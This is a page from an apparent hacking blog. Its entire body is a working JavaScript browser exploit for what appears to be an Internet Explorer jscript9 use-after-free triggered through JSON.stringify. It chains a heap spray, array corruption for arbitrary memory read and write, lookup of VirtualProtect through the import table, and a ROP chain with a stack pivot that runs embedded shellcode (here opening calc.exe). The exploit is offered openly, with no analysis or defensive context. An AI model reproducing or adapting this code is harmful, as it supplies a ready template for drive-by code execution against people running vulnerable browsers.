Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380900

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<html>
<body>
<script>
ARR_SIZE = 3248;
first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476];
stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542];
first_gadget = [0x89, 0x41, 0x0c, 0xc3];
stackpivot_gadget = [0x94, 0xc3];
gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0};

function empty_replacer(a,b) {
    return b;
}

function create_list(lst, depth) {
    if (depth > 5)
    {
        return;
    }
    else
    {
        // Creates 19 objects in each nested list
        for (i = 0; i <= 19; i++)
        {
            // Create random string with length 8
            for (var val = "", c = 0; c <= 8; c++) {
                rnd = Math.floor((Math.random() * 90) + 48);
                l = String.fromCharCode(rnd);
                val = val + l;
            }
            lst["a" + i] = val;
        }
        create_list(lst["a0"] = {}, depth + 1);
    }
}

function create_triggering_json() {
    var lst = {}
    create_list(lst, 0);
    return lst;
}

// Create vulnerable JSON
trig_json = create_triggering_json();

spray = new Array(4096);
buff = new ArrayBuffer(4);
size = 0;

// Heap Spray
var I = setInterval(function(){     
    for (i=0;i<400;i++,size++) {
        spray[size] = new Array(15352);
        for (j = 0; j< 85;j++) {
            spray[size][j] = new Uint32Array(buff);
        }
        0 == i && (yb = spray[0][0]["length"], yb["toString"](16))
    }
    
    size >= (4096) && (clearInterval(I), uaf())    
}, 100);

var arr = []
function uaf()
{
    JSON.stringify(trig_json,empty_replacer);
    
    var pattern = [311357464,311357472,311357464];  
    for (var b = 3248 * 2, c = 203; c < b; c++)
        arr[c] = new ArrayBuffer(12);
        
    for (c = 203; c < b; c++)
    {
        var data = new Uint32Array(arr[c],0);
        a = 0;
        for (var i = data["length"] / pattern["length"]; a < i; a++)
            for (var d=0, e = pattern["length"]; d < e;d++) 
                data[a+d] = pattern[d];

    }

    CollectGarbage();

    search_corrupted_array();
}

var damaged_array;
function search_corrupted_array()
{
    for (i=0;i<4096;i++) 
    {
        for (j = 0; j< 85;j++) {
            if (spray[i][j].length != 1)
            {
                damaged_array = spray[i][j];
                damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space
                damaged_array[2] = 0x10000;
                
                write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later
                for (k = 0; k < 4096; k++) { // find the marked array
                    if (spray[k][0] == 0xDEC0DE) {
                        break;
                    }
                }
                // now spray[k][0] is 0x128e0020
                if (k == 4096) break;
                spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028
                spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray
                arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object
                jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address
                vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub
                if (vp_addr == 0) break;
                arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain
                spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020
                rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object
                rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above
                var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90];
				var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode
                spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024
                sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode
                sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself
                construct_gadget_dict(damaged_array, jscript9_base_addr);
                
                // construct the ROP chain
                spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret
                spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret
                spray[k][0][2] = vp_addr; // VirtualProtectStub pointer
                spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect)
                spray[k][0][4] = sc_data; // lpAddress
                spray[k][0][5] = spray[k][1].length; // dwSize
                spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE
                spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect
                spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top
                write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain
                spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget
            }
        }
    }
}

function get_index_from_addr(addr) {
    return Math.floor((addr - 0x10000) / 4);
}

function get_iat_offset(arr, js9_base) {
    return 0x3e6000;
}

function get_pe_header_offset(arr, js9_base) {
    var offset = read_dword_from_addr(arr, js9_base + 0x3c);
    return offset;
}

function get_import_table_offset(arr, js9_base) {
    var pe_header_offset = get_pe_header_offset(arr, js9_base);
    var pe_header = js9_base + pe_header_offset;
    var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80);
    return import_table_offset;
}

function get_import_table_size(arr, js9_base) {
    var pe_header_offset = get_pe_header_offset(arr, js9_base);
    var pe_header = js9_base + pe_header_offset;
    var import_table_size = read_dword_from_addr(arr, pe_header + 0x84);
    return import_table_size;
}

function get_vp_addr(arr, js9_base) {
    var kernel32_entry = get_kernel32_entry(arr, js9_base);
    var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc);
    var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4);
    var func_name = new String();
    for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) {
        func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2);
        if (func_name.indexOf("VirtualProtect") > -1) {
            return read_dword_from_addr(arr, fptr);
        }
    }
    return 0;
}

function get_kernel32_entry(arr, js9_base) {
    var it_addr = js9_base + get_import_table_offset(arr, js9_base);
    var it_size = get_import_table_size(arr, js9_base);
    var s = new String();
    for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) {
        var it_entry = read_dword_from_addr(arr, next_addr);
        if (it_entry != 0) {
            s = read_string_from_addr(arr, js9_base + it_entry);
            if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) {
                return next_addr;
            }
        }
    }
    return 0;
}

function read_dword_from_addr(arr, addr) {
    return arr[get_index_from_addr(addr)];
}

function read_byte_from_addr(arr, addr) {
    var mod = addr % 4;
    var ui32 = read_dword_from_addr(arr, addr);
    return ((ui32 >> (mod * 8)) & 0x000000ff);
    
}

function read_string_from_addr(arr, addr) {
    var s = new String();
    var i = 0;
    for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) {
        c = String.fromCharCode(read_byte_from_addr(arr, i));
        s += c;
    }
    return s;
}

function write_dword_to_addr(arr, addr, data) {
    arr[get_index_from_addr(addr)] = data;
}

function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) {
    var first_dword = 0x0, second_dword = 0x0, g = 0;
    var gadget_candidate = [];
    for (g = 0; g < offsets.length; g++) {
        first_dword = read_dword_from_addr(arr, js9_base + offsets[g]);
        second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4);
        
        gadget_candidate = convert_reverse_ui32_to_array(first_dword);
        gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword));
        
        if (contains_gadget(gadget_candidate, gadget)) {
            gadget_offsets[gadget_key] = offsets[g];
            break;
        }
    }
}

function construct_gadget_dict(arr, js9_base) {
    find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1");
    find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot");
    if (gadget_offsets["stackpivot"] > 0) {
        gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1;
    }
}

function contains_gadget(arr, sub) {
    var i = 0;
    for (i = 0; i < sub.length; i++) {
        if (arr.indexOf(sub[i]) == -1) return false;
    }
    return true;
}

function convert_reverse_ui32_to_array(ui32) {
    var arr = [];
    var i = 0;
    var tmp = ui32;
    for (i = 0; i < 4; i++, tmp = tmp >> 8) {
        arr.push(tmp & 0x000000ff);
    }
    return arr;
}
</script>
</body>
</html>